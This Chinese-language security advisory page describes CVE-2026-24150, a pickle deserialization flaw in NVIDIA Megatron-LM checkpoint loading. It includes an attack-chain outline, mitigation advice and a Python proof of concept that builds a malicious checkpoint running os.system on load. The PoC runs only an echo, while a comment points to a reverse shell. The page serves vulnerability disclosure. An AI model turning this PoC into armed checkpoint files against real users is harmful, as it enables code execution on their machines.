IPBUF安全漏洞报告
English
CVE-2026-24150 CVSS 7.8 高危

CVE-2026-24150 NVIDIA Megatron-LM 检查点加载RCE漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-24150
漏洞类型
远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NVIDIA Megatron-LM

相关标签

RCENVIDIAMegatron-LM反序列化AI安全Checkpoint

漏洞概述

NVIDIA Megatron-LM 在检查点加载功能中存在高危安全漏洞。攻击者可诱导用户加载恶意构造的文件来触发该漏洞。成功利用可能导致远程代码执行、权限提升、信息泄露及数据篡改,严重影响系统机密性、完整性和可用性。

技术细节

该漏洞源于 Megatron-LM 在加载模型检查点时,未对文件内容进行严格的安全校验。其底层通常依赖 PyTorch 的 `torch.load` 函数,该函数使用 Python 的 `pickle` 模块进行反序列化。`pickle` 在反序列化过程中可以执行任意 Python 代码。攻击者可构造包含恶意 Payload 的检查点文件,当受害者加载该文件时,Payload 被解析并执行。由于攻击向量为 AV:L 且无需用户交互,攻击者若能将文件放置于本地路径,即可在用户权限下执行任意代码。

攻击链分析

STEP 1
1. 构造恶意文件
攻击者编写 Python 脚本,利用 pickle 反序列化机制生成包含恶意代码的伪造模型检查点文件。
STEP 2
2. 投递恶意文件
攻击者将恶意文件放置在受害者系统的可访问路径下,或通过社会工程学诱导用户下载。
STEP 3
3. 触发加载
受害者使用 NVIDIA Megatron-LM 运行训练或推理任务,并调用加载函数加载该恶意检查点。
STEP 4
4. 执行攻击
应用在反序列化文件时执行恶意代码,攻击者获得受害者用户的权限,从而控制系统或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import os # Define a malicious class to execute code on unpickling class MaliciousCheckpoint: def __reduce__(self): # Execute a shell command (e.g., id) when the object is loaded # In a real attack, this would be a reverse shell connection return (os.system, ('echo "Vulnerable to RCE via Checkpoint Loading"',)) # Create the malicious payload payload = MaliciousCheckpoint() # Save the payload to a file (simulating a checkpoint file) filename = 'malicious_model_checkpoint.pt' with open(filename, 'wb') as f: pickle.dump(payload, f) print(f"[+] Malicious checkpoint file '{filename}' generated successfully.") print(f"[+] When loaded by Megatron-LM, it will execute the system command.")

影响范围

NVIDIA Megatron-LM (具体受影响版本请参考 NVIDIA 官方安全公告)

防御指南

临时缓解措施
在未安装补丁前,应严格限制检查点文件的加载来源,仅处理可信的内部模型文件。建议在受限的用户权限下运行应用程序,以减少潜在的权限提升风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表